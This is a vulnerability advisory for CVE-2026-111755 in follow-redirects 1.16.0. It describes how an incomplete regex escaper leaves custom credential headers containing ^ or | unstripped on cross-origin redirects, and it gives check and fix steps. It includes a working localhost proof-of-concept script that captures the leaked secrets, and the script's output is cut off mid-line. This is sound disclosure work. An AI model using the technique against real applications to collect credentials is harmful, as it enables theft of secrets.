---
id: "CVE-2026-111755"
kind: "vulnerability"
aliases: ["CVE-2026-111755", "GHSA-8r9p-f939-6h3c"]
title: "follow-redirects sensitiveHeaders regex escaping can expose credential headers"
severity: "high"
cvss: 8.2
epss: 0.004360000137239695
exploited: false
status: "open"
category: "package"
products: [{"name": "follow-redirects", "fixed": ["1.16.1"], "affected": ">= 1.16.0, < 1.16.1", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["axios", "cwe-185", "cwe-200", "follow-redirects", "node", "npm", "package", "self-hosted"]
not_affected_if: ["built-in-headers-only", "follow-redirects-below-1.16.0", "no-custom-credential-headers-with-^-or-|", "no-sensitiveheaders-option-used", "version-1.16.1-or-later"]
published_at: "2026-10-19T18:17:00+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:18+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-8r9p-f939-6h3c", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111755", "first_seen_at": "2026-10-23T21:57:18+00:00"}]
---

# follow-redirects sensitiveHeaders regex escaping can expose credential headers

follow-redirects 1.16.0 builds its sensitiveHeaders strip filter with an incomplete regex escaper, so custom header names containing ^ or | are never stripped on cross-origin redirects. An attacker controlling a redirect target receives the declared credential header value in plaintext while the app believes it is protected.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:follow-redirects affected >= 1.16.0, < 1.16.1 fixed 1.16.1

## How to check

Run: npm ls follow-redirects (or check package-lock.json) and look for a version >= 1.16.0 and < 1.16.1.
Search the codebase for sensitiveHeaders and check whether any declared header name contains ^ or |.

## Fix

Upgrade follow-redirects to 1.16.1 (npm update follow-redirects, or upgrade axios/other dependents that pull it in).
Until upgraded, avoid declaring sensitiveHeaders names containing ^ or | and rename those credential headers.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-8r9p-f939-6h3c
- 2026-10-23T21:57:18+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-111755

## From the sources

### Summary
follow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

### Details
The filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:

```js
this._headerFilter = new RegExp("^(?:" +
    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
  ")$", "i");
```

`escapeRegex` at `index.js:703-705`:

```js
function escapeRegex(regex) {
  return regex.replace(/[\]\\/()*+?.$]/g, "\\$&");   // escapes ] \ / ( ) * + ? . $  -- NOT ^ | [ { }
}
```

The character class escapes `]`, `\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node's `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test("X-Api^Key")` returns `false`, and the header is not stripped.
- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.

The generated filter source, reproduced from the exact library logic, is:
```
^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$
```
Direct matching results against this filter: `X-Api^Key` -> false, `X-Token|Secret` -> false, `X-Control-Key` (normal name) -> true, and the split-off `X-Token` -> true and `Secret` -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

1. Escape the complete set of regular-expression metacharacters:
```js
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }
```
This was verified to restore correct matching for all affected names while preserving the built-in matches.

2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.

References:
- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653
- https://github.com/follow-redirects/follow-redirects/pull/284
- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9

### PoC
Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that `require("./index.js")` resolves to the library under test.

Facet 1, metacharacter header names, `leak.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:45902/" });   // cross-origin (different port)
  res.end();
});
var collector = http.createServer(function (req, res) {
  res.end(JSON.stringify(req.headers));                          // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
  collector.listen(45902, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 45901, path: "/",
      headers: {
        "X-Api^Key":      "SECRET-LEAKED-1",     // declared sensitive, name contains ^
        "X-Token|Secret": "SECRET-LEAKED-2",     // declared sensitive, name contains |
        "X-Control-Key":  "SHOULD-BE-STRIPPED",  // declared sensitive, normal name (control)
        "Authorization":  "Bearer BUILTIN-CTL"   // built-in list (control)
      },
      sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("X-Api^Key      :", h["x-api^key"] || "(stripped)");
        console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
        console.log("X-Control-Key  :", h["x-control-key"] || "(stripped - OK)");
        console.log("Authorization  :", h["authorization"] || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});
```
Observed output (1.16.0):
```
X-Api^Key      : SECRET-LEAKED-1          <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2          <- credential LEAKED to redirect target
X-Control-Key  : (strippe

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
